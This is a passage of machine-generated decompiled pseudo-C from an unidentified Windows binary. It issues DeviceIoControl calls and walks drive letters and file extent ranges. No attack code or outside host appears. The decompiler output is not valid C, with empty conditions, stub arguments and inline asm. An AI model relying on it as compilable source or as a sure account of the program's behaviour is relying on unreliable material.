				 *(_t2750 + 0x30) = _t2747 - 0x78;
				r8d = 0;
				 *(_t2750 + 0x28) = 0x60;
				 *(_t2750 + 0x20) = _t2747;
				if (DeviceIoControl(??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x800082fc;
				_t1979 =  *((intOrPtr*)(_t2747 + 0x38));
				_t2901 =  *((intOrPtr*)(_t2747 + 0x40));
				asm("dec eax");
				_t2768 =  *((intOrPtr*)(_t2747 + 0x58));
				_t2900 =  *((intOrPtr*)(_t2747 + 0x50));
				_t2535 =  *((intOrPtr*)(_t2747 + 0x48));
				 *((long long*)(_t2244 + 0x1a0)) =  *(_t2244 + 0x20);
				 *((long long*)(_t2750 + 0x40)) = _t1979;
				 *(_t2750 + 0x38) = _t2535;
				 *(_t2244 + 0x180) = _t2768;
				 *((long long*)(_t2244 + 0x170)) = _t1979 + _t2901;
				 *((long long*)(_t2244 + 0x190)) = _t1979 + _t2535;
				 *(_t2244 + 0x188) = _t2535;
				 *(_t2750 + 0x30) = _t2768;
				r8d = 0;
				 *(_t2244 + 0x168) = _t2901;
				 *(_t2244 + 0x178) = _t2900;
				 *(_t2750 + 0x28) = _t2900;
				 *(_t2750 + 0x20) = _t2901;
				E00000001180004968( *((intOrPtr*)(_t2747 + 0x2c)), r14d, _t1979, _t2715, _t2535, _t2768,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x108)));
				r8d = 0;
				 *(_t2750 + 0x38) =  *((intOrPtr*)(_t2244 + 0x170));
				 *(_t2750 + 0x30) = _t3010;
				 *(_t2750 + 0x28) =  *(_t2244 + 0x168);
				 *(_t2750 + 0x20) = _t3010;
				E00000001180004968( *((intOrPtr*)(_t2747 + 0x2c)), r14d,  *(_t2244 + 0x168), _t2715, _t2535, _t2768,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x110)));
				r8d = 0;
				 *(_t2750 + 0x38) =  *(_t2244 + 0x180);
				 *(_t2750 + 0x30) = 1;
				 *(_t2750 + 0x28) =  *(_t2244 + 0x178);
				 *(_t2750 + 0x20) = 1;
				E00000001180004968( *((intOrPtr*)(_t2747 + 0x2c)), r14d,  *(_t2244 + 0x178), _t2715, _t2535, _t2768,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x110)));
				r8d = 0;
				 *(_t2750 + 0x38) =  *((intOrPtr*)(_t2244 + 0x190));
				_t1985 =  *(_t2244 + 0x188);
				 *(_t2750 + 0x30) = 2;
				 *(_t2750 + 0x28) = _t1985;
				 *(_t2750 + 0x20) = 2;
				E00000001180004968( *((intOrPtr*)(_t2747 + 0x2c)), r14d, _t1985, _t2715, _t2535, _t2768,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x110)));
				0x800264d8();
				_t223 = _t1985 + 3; // 0x3
				0x80026bf8();
				 *(_t2244 + 0x18) = _t1985;
				if (_t1985 == 0) goto 0x8000a9c7;
				E00000001180053AC8(_t1985, _t1985, _t223, _t2654);
				0x800264d8();
				if (_t1985 == 2) goto 0x80008372;
				0x800264d8();
				if (_t1985 == 3) goto 0x80008372;
				E00000001180017824(0x2a, _t2654,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x110)));
				if (_t1985 != 0) goto 0x8000839f;
				E00000001180003248( *((intOrPtr*)(_t2747 + 0x2c)), _t1985,  *(_t2244 + 0x18), _t223, L"%s*", _t2654);
				goto 0x8000839f;
				_t1390 =  >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20;
				r9d = ( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20) & 0x0000ffff;
				E00000001180003248( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20, _t1985,  *(_t2244 + 0x18), _t223, L"%c:\\*", _t2654);
				_t2851 = L"Input mask: %s";
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 0x18);
				E00000001180004968( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20, 0,  *(_t2244 + 0x18), _t2715, _t223, L"%c:\\*", _t2851);
				E00000001180004A14( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20,  *(_t2244 + 0x18), _t2244, _t2715, _t2244, L"%c:\\*", _t2851, _t2901);
				r10d = 0;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != 0) goto 0x80008782;
				E00000001180006024(_t2244, _t2948, _t2244, L"%c:\\*", _t2851);
				_t1988 =  *((intOrPtr*)(_t2244 + 8));
				r10d = 0;
				if ( *_t1988 != 0) goto 0x80008782;
				if ( *(_t2750 + 0x68) != 1) goto 0x80008782;
				E00000001180005CCC();
				r9d = r9d | 0xffffffff;
				 *(_t2747 - 0x80) = _t1988;
				r8d = _t2851 + 3;
				E00000001180006A7C( *_t1988, _t1988, _t2244, _t2948, _t2244, _t2900);
				_t3011 =  *((intOrPtr*)(_t2244 + 0x120));
				r10d = 0;
				if (_t3011 == 0) goto 0x80008489;
				_t2322 =  *((intOrPtr*)(_t3011 + 8));
				goto 0x8000843a;
				_t2656 = _t2322;
				if ( *((intOrPtr*)(_t2322 + 8)) != 0) goto 0x80008433;
				if ( *((intOrPtr*)(_t2656 + 0x7c)) == 1) goto 0x80008473;
				if ( *((intOrPtr*)(_t2656 + 0x80)) == 1) goto 0x80008473;
				_t2716 =  *((intOrPtr*)(_t2656 + 0x40));
				if (_t2716 == 0) goto 0x80008473;
				r8d = 0;
				if (E0000000118000C1DC(_t1988, _t2244, _t2656, _t2656, L"%c:\\*", _t2716, _t2900, _t2901) == 0) goto 0x80008473;
				 *((intOrPtr*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x210)) + _t2716;
				E0000000118000F3BC(_t2656);
				r10d = 0;
				if (_t1988 != 0) goto 0x8000843f;
				if ( *((intOrPtr*)(_t2244 + 0x210)) == _t2900) goto 0x80008782;
				if (_t3011 == 0) goto 0x80008782;
				_t1989 =  *((intOrPtr*)(_t3011 + 8));
				goto 0x800084ac;
				_t3012 = _t1989;
				if ( *((intOrPtr*)(_t1989 + 8)) != 0) goto 0x800084a5;
				_t1991 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t1991 != r10d) goto 0x80008782;
				_t2658 = _t3012;
				E0000000118000F3BC(_t3012);
				if ( *(_t2658 + 0x7c) == 1) goto 0x80008753;
				r10d = 0;
				if ( *((intOrPtr*)(_t2658 + 0x80)) == 1) goto 0x80008756;
				_t2717 =  *((intOrPtr*)(_t2658 + 0x40));
				if (_t2717 == 0) goto 0x80008756;
				r8d = 0;
				_t1220 = E0000000118000C1DC(_t1991, _t2244, _t2658, _t2658, L"%c:\\*", _t2717, _t2900, _t2901);
				r10d = 0;
				if (_t1220 == 0) goto 0x80008756;
				 *(_t2750 + 0x48) = r10d;
				_t2328 =  !=  ? _t1991 + 1 : _t2948;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				 *(_t2750 + 0x70) =  !=  ? _t1991 + 1 : _t2948;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = r10d;
				 *(_t2750 + 0x20) = _t2717;
				if (E0000000118000B10C(r10d, _t2750 + 0x60, _t2244, _t2948, _t2244,  *((intOrPtr*)(_t2244 + 0x148 + ( !=  ? _t1991 + 1 : _t2948) * 8)), _t2717, _t2901) != 0) goto 0x800085bb;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				r8d = 0;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2750 + 0x20) =  *((intOrPtr*)(_t2658 + 0x40));
				if (E0000000118000B10C(r10d,  *((intOrPtr*)(_t2658 + 0x40)), _t2244, _t2948, _t2244,  *((intOrPtr*)(_t2244 + 0x148 + ( !=  ? _t1991 + 1 : _t2948) * 8)), _t2717, _t2901) == 0) goto 0x80008760;
				_t2906 =  *((intOrPtr*)(_t2750 + 0x60));
				_t2331 =  *((intOrPtr*)(_t2658 + 0x40));
				_t1999 =  *(_t2750 + 0x58) - _t2906;
				if (_t1999 - _t2331 < 0) goto 0x800085f5;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = _t2331;
				 *(_t2750 + 0x20) = _t2717;
				E0000000118000CB04(r10d, _t1492, 0, _t1496, _t2244, _t2948, _t2244, _t2747, _t2658, _t2906);
				goto 0x80008753;
				E0000000118000CFB4(_t1999 - _t2331, _t2244, _t2948, _t2244, _t2747, _t2658);
				if (_t1999 != 0) goto 0x80008630;
				r9d = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2658 + 0x7c) = 1;
				_t2549 = _t2244;
				 *(_t2750 + 0x20) = _t2717;
				E00000001180006F30(_t1999, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2549, _t2717, _t2658, _t2906, _t2900);
				goto 0x80008753;
				_t2335 =  *((intOrPtr*)(_t2658 + 0x60));
				_t2775 = _t2549;
				_t2855 = _t2549;
				_t2972 =  <=  ?  *(_t2750 + 0x58) - _t2906 :  *((intOrPtr*)(_t3012 + 0x40)) - _t2717;
				goto 0x80008690;
				if ( *_t2335 == 0xffffffff) goto 0x80008688;
				if (_t2855 - _t2717 < 0) goto 0x8000867e;
				_t2550 =  *((intOrPtr*)(_t2335 + 8));
				_t2003 = _t2550 - _t2775;
				if (_t2972 - _t2003 > 0) goto 0x80008697;
				_t2718 = _t2003 + _t2855;
				 *((intOrPtr*)(_t2244 + 0x218)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2550 - _t2775;
				if ( *((intOrPtr*)(_t2335 + 0x10)) != 0) goto 0x80008654;
				goto 0x80008699;
				if (_t2718 -  *((intOrPtr*)(_t2658 + 0x40)) >= 0) goto 0x8000873c;
				 *(_t2750 + 0x38) = 0;
				 *(_t2750 + 0x30) = _t2972;
				 *(_t2750 + 0x28) = _t2718;
				 *(_t2750 + 0x20) = _t2906;
				E0000000118000C8A0(r10d, 0, _t1492, 0, _t1496,  *((intOrPtr*)(_t2335 + 8)) - _t2775, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2658,  *((intOrPtr*)(_t2750 + 0x50)), _t2900, _t2901);
				_t2006 =  *((intOrPtr*)(_t2658 + 0x40));
				_t2719 = _t2718 + _t2972;
				if (_t2719 - _t2006 >= 0) goto 0x80008727;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2750 + 0x20) = _t2006 - _t2719;
				if (E0000000118000B10C(r10d,  *(_t2750 + 0x70), _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2750 + 0x70) * 8)),  *((intOrPtr*)(_t2750 + 0x50)), _t2901) == 0) goto 0x8000873c;
				if (_t2719 -  *((intOrPtr*)(_t2658 + 0x40)) >= 0) goto 0x8000873c;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == 0) goto 0x80008636;
				FlushFileBuffers(??);
				CloseHandle(??);
				_t2951 =  *((intOrPtr*)(_t2750 + 0x50));
				r10d = 0;
				if (_t1991 == 0) goto 0x80008782;
				goto 0x800084b1;
				_t2859 =  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x160));
				E00000001180004968(r10d, 2,  *((intOrPtr*)(_t2244 + 8)),  *(_t2747 - 0x80), _t2244, _t2658, _t2859);
				r10d = 0;
				_t2010 =  *((intOrPtr*)(_t2244 + 8));
				_t1233 =  *(_t2750 + 0x68);
				if ( *_t2010 != 0) goto 0x80008e88;
				if (_t1233 == 2) goto 0x800087a2;
				if (_t1233 != 3) goto 0x80008e88;
				E00000001180005CCC();
				r9d = r9d | 0xffffffff;
				 *(_t2750 + 0x70) = _t2010;
				r8d = _t2859 + 3;
				E00000001180006A7C( *_t2010, _t2010, _t2244, _t2951, _t2244, _t2900);
				_t3014 =  *((intOrPtr*)(_t2244 + 0x120));
				r10d = 0;
				if (_t3014 == 0) goto 0x8000882d;
				_t2345 =  *((intOrPtr*)(_t3014 + 8));
				goto 0x800087de;
				_t2660 = _t2345;
				if ( *((intOrPtr*)(_t2345 + 8)) != 0) goto 0x800087d7;
				if ( *((intOrPtr*)(_t2660 + 0x7c)) == 1) goto 0x80008817;
				if ( *((intOrPtr*)(_t2660 + 0x80)) == 1) goto 0x80008817;
				_t2720 =  *((intOrPtr*)(_t2660 + 0x40));
				if (_t2720 == 0) goto 0x80008817;
				r8d = 0;
				if (E0000000118000C1DC(_t2010, _t2244, _t2660, _t2660, _t2658, _t2720, _t2900, _t2901) == 0) goto 0x80008817;
				 *((intOrPtr*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x210)) + _t2720;
				E0000000118000F3BC(_t2660);
				r10d = 0;
				if (_t2010 != 0) goto 0x800087e3;
				if ( *((intOrPtr*)(_t2244 + 0x210)) == _t2900) goto 0x80008b25;
				if (_t3014 == 0) goto 0x80008b25;
				_t2011 =  *((intOrPtr*)(_t3014 + 8));
				goto 0x80008850;
				_t3015 = _t2011;
				if ( *((intOrPtr*)(_t2011 + 8)) != 0) goto 0x80008849;
				_t2013 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2013 != r10d) goto 0x80008b25;
				_t2662 = _t3015;
				E0000000118000F3BC(_t3015);
				_t3016 = _t2013;
				if ( *(_t2662 + 0x7c) == 1) goto 0x80008af5;
				r10d = 0;
				if ( *((intOrPtr*)(_t2662 + 0x80)) == 1) goto 0x80008af8;
				_t2721 =  *((intOrPtr*)(_t2662 + 0x40));
				if (_t2721 == 0) goto 0x80008af8;
				r8d = 0;
				_t1239 = E0000000118000C1DC(_t2013, _t2244, _t2662, _t2662, _t2658, _t2721, _t2900, _t2901);
				r10d = 0;
				if (_t1239 == 0) goto 0x80008af8;
				 *(_t2750 + 0x48) = r10d;
				_t2351 =  !=  ? _t2013 + 1 : _t2951;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				 *(_t2747 - 0x80) =  !=  ? _t2013 + 1 : _t2951;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = r10d;
				 *(_t2750 + 0x20) = _t2721;
				if (E0000000118000B10C(r10d, _t2750 + 0x60, _t2244, _t2951, _t2244,  *((intOrPtr*)(_t2244 + 0x148 + ( !=  ? _t2013 + 1 : _t2951) * 8)), _t2721, _t2901) != 0) goto 0x8000895e;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				r8d = 0;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2750 + 0x20) =  *((intOrPtr*)(_t2662 + 0x40));
				if (E0000000118000B10C(r10d,  *((intOrPtr*)(_t2662 + 0x40)), _t2244, _t2951, _t2244,  *((intOrPtr*)(_t2244 + 0x148 + ( !=  ? _t2013 + 1 : _t2951) * 8)), _t2721, _t2901) == 0) goto 0x80008b02;
				_t2908 =  *((intOrPtr*)(_t2750 + 0x60));
				_t2354 =  *((intOrPtr*)(_t2662 + 0x40));
				_t2021 =  *(_t2750 + 0x58) - _t2908;
				if (_t2021 - _t2354 < 0) goto 0x80008998;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = _t2354;
				 *(_t2750 + 0x20) = _t2721;
				E0000000118000CB04(r10d, _t1492, 0, _t1496, _t2244, _t2951, _t2244, _t2747, _t2662, _t2908);
				goto 0x80008af5;
				E0000000118000CFB4(_t2021 - _t2354, _t2244, _t2951, _t2244, _t2747, _t2662);
				if (_t2021 != 0) goto 0x800089d3;
				r9d = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2662 + 0x7c) = 1;
				_t2562 = _t2244;
				 *(_t2750 + 0x20) = _t2721;
				E00000001180006F30(_t2021, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2562, _t2721, _t2662, _t2908, _t2900);
				goto 0x80008af5;
				_t2358 =  *((intOrPtr*)(_t2662 + 0x60));
				_t2783 = _t2562;
				_t2863 = _t2562;
				_t2977 =  <=  ?  *(_t2750 + 0x58) - _t2908 :  *((intOrPtr*)(_t3015 + 0x40)) - _t2721;
				goto 0x80008a33;
				if ( *_t2358 == 0xffffffff) goto 0x80008a2b;
				if (_t2863 - _t2721 < 0) goto 0x80008a21;
				_t2563 =  *((intOrPtr*)(_t2358 + 8));
				_t2025 = _t2563 - _t2783;
				if (_t2977 - _t2025 > 0) goto 0x80008a3a;
				_t2722 = _t2025 + _t2863;
				 *((intOrPtr*)(_t2244 + 0x218)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2563 - _t2783;
				if ( *((intOrPtr*)(_t2358 + 0x10)) != 0) goto 0x800089f7;
				goto 0x80008a3c;
				if (_t2722 -  *((intOrPtr*)(_t2662 + 0x40)) >= 0) goto 0x80008ade;
				 *(_t2750 + 0x38) = 0;
				 *(_t2750 + 0x30) = _t2977;
				 *(_t2750 + 0x28) = _t2722;
				 *(_t2750 + 0x20) = _t2908;
				E0000000118000C8A0(r10d, 0, _t1492, 0, _t1496,  *((intOrPtr*)(_t2358 + 8)) - _t2783, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2662,  *((intOrPtr*)(_t2750 + 0x50)), _t2900, _t2901);
				_t2028 =  *((intOrPtr*)(_t2662 + 0x40));
				_t2723 = _t2722 + _t2977;
				if (_t2723 - _t2028 >= 0) goto 0x80008ac9;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				r9d = 0;
				 *(_t2750 + 0x38) = _t2750 + 0x60;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 0;
				 *(_t2750 + 0x20) = _t2028 - _t2723;
				if (E0000000118000B10C(r10d,  *(_t2747 - 0x80), _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2747 - 0x80) * 8)),  *((intOrPtr*)(_t2750 + 0x50)), _t2901) == 0) goto 0x80008ade;
				_t2978 =  *((intOrPtr*)(_t2662 + 0x40));
				if (_t2723 - _t2978 >= 0) goto 0x80008ade;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == 0) goto 0x800089d9;
				FlushFileBuffers(??);
				CloseHandle(??);
				r10d = 0;
				if (_t3016 == 0) goto 0x80008b25;
				goto 0x80008855;
				E00000001180004968(r10d, 2,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x70), _t2244, _t2662,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x160)));
				r10d = 0;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != 0) goto 0x80008df6;
				E0000000118000B6FC( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))), _t1496,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))), _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2662,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x160)), _t2900, _t2901);
				_t2033 =  *((intOrPtr*)(_t2244 + 8));
				r10d = 0;
				if ( *_t2033 != 0) goto 0x80008df6;
				E00000001180005CCC();
				r10d = 0;
				 *(_t2747 - 0x80) = _t2033;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2900) goto 0x80008df6;
				r15d = r10d;
				goto 0x80008b79;
				r9d = r15d;
				r8d = 5;
				E00000001180006A7C( *_t2033, _t2033, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) =  *((intOrPtr*)(_t2244 + 0x148));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x80008de0;
				 *(_t2750 + 0x48) = r10d;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				r9d = 0;
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2900;
				_t1255 = E0000000118000B10C( *_t2033, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2244 + 0x148)),  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x160)), _t2901);
				r10d = 0;
				if (_t1255 == 0) goto 0x80008ddb;
				_t2570 =  *((intOrPtr*)(_t2244 + 0x120));
				r14d = r10d;
				_t2725 =  *(_t2750 + 0x70);
				if (_t2570 == 0) goto 0x80008c84;
				_t2037 =  *((intOrPtr*)(_t2570 + 0x10));
				goto 0x80008c15;
				_t2571 = _t2037;
				if ( *((intOrPtr*)(_t2037 + 0x10)) != 0) goto 0x80008c0e;
				if (_t2571 == 0) goto 0x80008c38;
				_t2039 =  *((intOrPtr*)(_t2571 + 0x60));
				goto 0x80008c33;
				if ( *_t2039 != 0xffffffff) goto 0x80008d69;
				if ( *((intOrPtr*)(_t2039 + 0x10)) != 0) goto 0x80008c25;
				_t2041 = _t2900;
				if (_t2041 - _t2725 < 0) goto 0x80008c84;
				if ( *((intOrPtr*)(_t2571 + 0x7c)) == 1) goto 0x80008c71;
				if ( *((intOrPtr*)(_t2571 + 0x80)) == 1) goto 0x80008c71;
				_t1618 =  *((intOrPtr*)(_t2571 + 0x84)) - 1;
				_t1398 = r10d;
				_t1257 =  !=  ? (_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1 : r10d;
				_t1620 = ( !=  ? (_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1 : r10d) - r15d;
				if (( !=  ? (_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1 : r10d) != r15d) goto 0x80008c71;
				_t2979 = _t2978 +  *((intOrPtr*)(_t2571 + 0x40));
				E0000000118000F408(_t2571);
				r10d = 0;
				if (_t2041 != 0) goto 0x80008c1a;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2979;
				if (_t2979 == 0) goto 0x80008ddb;
				_t2665 =  *(_t2750 + 0x58);
				if (_t2665 - _t2725 >= 0) goto 0x80008dce;
				r12d = r10d;
				r12b = _t2725 - _t2665 - _t2979 < 0;
				if (r13d - 5 >= 0) goto 0x80008d83;
				_t2044 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2044 != r10d) goto 0x80008d83;
				 *(_t2750 + 0x28) = r15d;
				 *(_t2750 + 0x20) = 1;
				if (r12d != 1) goto 0x80008d22;
				E0000000118000AE84((_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1, r12d - 1, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2747, _t2665, _t2725);
				r10d = 0;
				if (_t2044 != 0) goto 0x80008d32;
				r12d = r10d;
				 *(_t2750 + 0x28) = r15d;
				 *(_t2750 + 0x20) = 1;
				E0000000118000B53C(_t2044, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2725, _t2747, _t2665, _t2725, _t2044);
				r10d = 0;
				_t2981 = _t2044;
				if (_t2044 == 0) goto 0x80008d83;
				_t2791 = _t2981;
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) =  *((intOrPtr*)(_t2981 + 0x40));
				 *(_t2750 + 0x20) = _t2900;
				if (E0000000118000CB04((_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1, _t1492, 0, _t1496, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2747, _t2791, _t2665) != 1) goto 0x80008d71;
				_t2666 = _t2665 +  *((intOrPtr*)(_t2981 + 0x40));
				r10d = 0;
				r13d = r10d;
				goto 0x80008d7a;
				goto 0x80008c3b;
				r13d = r13d + 1;
				_t2726 = _t2666;
				r10d = 0;
				if (_t2666 - _t2726 < 0) goto 0x80008cbc;
				 *(_t2750 + 0x58) = _t2666;
				 *(_t2750 + 0x70) = _t2726;
				if (_t2666 - _t2726 >= 0) goto 0x80008dce;
				r8d = 0;
				 *(_t2750 + 0x28) = _t2726 - _t2666;
				_t2872 =  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0xe0));
				_t465 = _t2791 + 5; // 0x5
				 *(_t2750 + 0x20) = _t2666;
				E00000001180004968((_t1398 & 0xffffff00 | _t1618 == 0x00000000) + 1, _t465, _t2726 - _t2666,  *(_t2747 - 0x80), _t2244, _t2791, _t2872);
				r10d = 0;
				 *(_t2750 + 0x58) = _t2726;
				r13d = r10d;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == r10d) goto 0x80008ba8;
				r15d = r15d + 1;
				 *(_t2750 + 0x78) =  *(_t2750 + 0x78) + 8;
				if (r15d - 3 < 0) goto 0x80008b74;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != 0) goto 0x80008e19;
				E0000000118000B6FC( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))), _t1496,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))), _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2791, _t2872, _t2900, _t2901);
				r10d = 0;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != 0) goto 0x800090f0;
				if ( *(_t2750 + 0x68) != 4) goto 0x80008e4a;
				E0000000118000BB2C( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))), _t1496,  *(_t2750 + 0x68) - 4,  *((intOrPtr*)(_t2244 + 8)), _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2791, _t2872);
				_t2052 =  *((intOrPtr*)(_t2244 + 8));
				r10d = 0;
				if ( *_t2052 != 0) goto 0x800090f0;
				if ( *(_t2750 + 0x68) != 5) goto 0x800090f0;
				E00000001180005CCC();
				r9d = r9d | 0xffffffff;
				 *(_t2747 - 0x80) = _t2052;
				r8d = _t2872 + 7;
				E00000001180006A7C( *_t2052, _t2052, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				_t2053 =  *((intOrPtr*)(_t2244 + 0x120));
				r10d = 0;
				if (_t2053 == 0) goto 0x800090f0;
				_t2380 =  *((intOrPtr*)(_t2053 + 8));
				goto 0x80008e96;
				goto 0x80008e1d;
				_t2054 = _t2380;
				if ( *((intOrPtr*)(_t2380 + 8)) != 0) goto 0x80008e8f;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x210)) +  *((intOrPtr*)(_t2054 + 0x40));
				E0000000118000F3BC(_t2054);
				r10d = 0;
				if (_t2054 != 0) goto 0x80008ea2;
				r12d = r10d;
				 *(_t2750 + 0x58) =  *((intOrPtr*)(_t2244 + 0x198));
				goto 0x800090e3;
				 *(_t2750 + 0x48) = r10d;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x58;
				 *(_t2750 + 0x38) = _t2750 + 0x78;
				 *(_t2750 + 0x30) = 1;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2900;
				_t1270 = E0000000118000B10C( *_t2052, _t2750 + 0x78, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2244 + 0x150)),  *((intOrPtr*)(_t2244 + 0x198)), _t2901);
				r10d = 0;
				if (_t1270 == 0) goto 0x800090f0;
				_t2057 =  *((intOrPtr*)(_t2244 + 0x120));
				r14d = r10d;
				_t2671 =  *(_t2750 + 0x58);
				if (_t2057 == 0) goto 0x80008f8f;
				_t2384 =  *((intOrPtr*)(_t2057 + 8));
				goto 0x80008f43;
				_t2058 = _t2384;
				if ( *((intOrPtr*)(_t2384 + 8)) != 0) goto 0x80008f3c;
				if ( *((intOrPtr*)(_t2058 + 0x7c)) == 1) goto 0x80008f7c;
				if ( *((intOrPtr*)(_t2058 + 0x80)) == 1) goto 0x80008f7c;
				_t2386 =  *((intOrPtr*)(_t2058 + 0x60));
				goto 0x80008f6b;
				if ( *_t2386 != 0xffffffff) goto 0x8000907e;
				if ( *((intOrPtr*)(_t2386 + 0x10)) != 0) goto 0x80008f5d;
				if (_t2900 - _t2671 >= 0) goto 0x80008f8f;
				_t2982 = _t2981 +  *((intOrPtr*)(_t2058 + 0x40));
				E0000000118000F3BC(_t2058);
				r10d = 0;
				if (_t2058 != 0) goto 0x80008f48;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2982;
				if (_t2982 == 0) goto 0x800090f0;
				_t2731 =  *(_t2750 + 0x78);
				if (_t2731 - _t2671 >= 0) goto 0x800090de;
				_t2956 =  *((intOrPtr*)(_t2750 + 0x50));
				r15d = r10d;
				r15b = _t2671 - _t2731 - _t2982 < 0;
				if (r12d - 5 >= 0) goto 0x80009098;
				_t2061 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2061 != r10d) goto 0x80009098;
				 *(_t2750 + 0x28) = 3;
				 *(_t2750 + 0x20) = r10d;
				if (r15d != 1) goto 0x8000902e;
				E0000000118000AE84( *_t2052, r15d - 1, _t2244, _t2956, _t2244, _t2747, _t2731, _t2671);
				r10d = 0;
